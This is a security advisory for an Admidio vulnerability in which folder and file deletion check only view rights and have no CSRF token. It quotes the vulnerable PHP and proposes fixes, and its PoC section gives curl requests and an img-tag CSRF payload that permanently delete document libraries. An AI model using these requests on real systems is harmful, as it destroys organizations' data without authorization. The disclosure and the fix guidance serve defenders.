CVE-2026-32817: Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion
Summary
The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folderdelete and filedelete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documentsfilesmoduleenabled = 1) and a folder is marked public (folpublic = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.
Details
Module Access Check
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76
The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:
php if ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 0) { throw new Exception('SYSMODULEDISABLED'); } elseif ($gSettingsManager->getInt('documentsfilesmoduleenabled') === 2 && !$gValidLogin) { throw new Exception('SYSNORIGHTS'); }
Vulnerable Code Path 1: Folder Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133
php case 'folderdelete': if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); // VIEW check only
$folder->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;
The target UUID is read exclusively from $GET at line 64:
php $getFolderUUID = admFuncVariableIsValid($GET, 'folderuuid', 'uuid', ...);
Vulnerable Code Path 2: File Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161
php case 'filedelete': if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } else { $file = new File($gDb); $file->getFileForDownload($getFileUUID); // VIEW check only
$file->delete(); // no CSRF token, no upload/admin check echo jsonencode(array('status' => 'success')); } break;
Same pattern as folderdelete. The file UUID is also read from $GET (line 69).
getFolderForDownload Grants VIEW Access to Public Folders Without Login
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438
php // If the folder is public (and the file is not locked) => allow if ($this->getValue('folpublic') && !$this->getValue('follocked')) { return true; }
This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.
Contrast with Other Write Operations (Properly Protected)
All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($POST['admcsrftoken']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.
Folder::delete() Is Recursive and Permanent
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259
Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folderdelete on the root folder permanently destroys the entire document library.
UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)
File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589
The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.
PoC
Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)
Prerequisites: documentsfilesmoduleenabled = 1, target folder has folpublic = true.
Step 1: Discover folder UUIDs by fetching the public document list (no login needed):
curl "https://TARGET/admprogram/modules/documents-files.php?mode=list"
Step 2: Delete the entire folder tree permanently:
curl "https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<FOLDERUUID>"
Expected response: {"status":"success"}
The folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.
Scenario 2: Authenticated view-only member deletes any accessible file
Prerequisites: documentsfilesmoduleenabled = 2 (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.
curl "https://TARGET/admprogram/modules/documents-files.php?mode=filedelete&fileuuid=<FILEUUID>" \ -H "Cookie: ADMIDIOSESSIONID=<viewonlysession>"
Expected response: {"status":"success"}
Scenario 3: Cross-site GET CSRF via image tag
Because deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:
html <img src="https://TARGET/admprogram/modules/documents-files.php?mode=folderdelete&folderuuid=<UUID>" width="1" height="1">
Impact
- Unauthenticated Data Destruction: When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required. - Privilege Escalation (View to Delete): Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the hasUploadRight() permission boundary. - Cross-Site CSRF: Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim. - No Recovery Path: Folder::delete() and File::delete() are permanent operations. The only recovery is from a database and filesystem backup. - Full Organizational Impact: Deletion of the root documents folder recursively removes the entire document library of the organization.
Recommended Fix
Fix 1: Add authorization check and CSRF token validation to both delete handlers
php case 'folderdelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFolderUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $folder = new Folder($gDb); $folder->getFolderForDownload($getFolderUUID); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $folder->delete(); echo jsonencode(array('status' => 'success')); break;
case 'filedelete': SecurityUtils::validateCsrfToken($POST['admcsrftoken']); if ($getFileUUID === '') { throw new Exception('SYSINVALIDPAGEVIEW'); } $file = new File($gDb); $file->getFileForDownload($getFileUUID); $parentFolder = new Folder($gDb); $parentFolder->readDataById((int)$file->getValue('filfolid')); if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) { throw new Exception('SYSNORIGHTS'); } $file->delete(); echo jsonencode(array('status' => 'success')); break;
Fix 2: Move folderuuid and fileuuid to POST parameters for delete operations
Reading the UUID from $GET enables GET-based CSRF. Moving to $POST and validating the CSRF token together closes both issues simultaneously.
Other sources
Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the documents and files module does not verify whether the current user has permission to delete folders or files. The folderdelete and filedelete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documentsfilesmoduleenabled = 1) and a folder is marked public (folpublic = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read. This issue has been fixed in version 5.0.7.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32817?
CVE-2026-32817 has a high severity due to the missing authorization and CSRF protection which can lead to unauthorized deletions.
How do I fix CVE-2026-32817?
To fix CVE-2026-32817, you should upgrade to Admidio version 5.0.7 or later, which includes necessary security patches.
What vulnerabilities does CVE-2026-32817 expose in Admidio?
CVE-2026-32817 exposes the risk of unauthorized users deleting files and folders in the documents and files module.
Which versions of Admidio are affected by CVE-2026-32817?
Admidio versions from 5.0.0 to 5.0.6 are affected by CVE-2026-32817.
Are there any known exploits for CVE-2026-32817?
As of now, there are no widely reported exploits specifically targeting CVE-2026-32817.